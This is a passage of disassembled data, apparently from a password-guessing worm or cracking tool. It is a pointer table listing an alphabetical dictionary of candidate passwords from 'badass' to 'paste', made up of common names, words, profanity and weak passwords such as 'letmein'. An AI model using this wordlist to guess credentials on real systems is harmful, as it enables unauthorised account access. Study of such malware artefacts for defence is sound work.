		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector_0	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_0	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
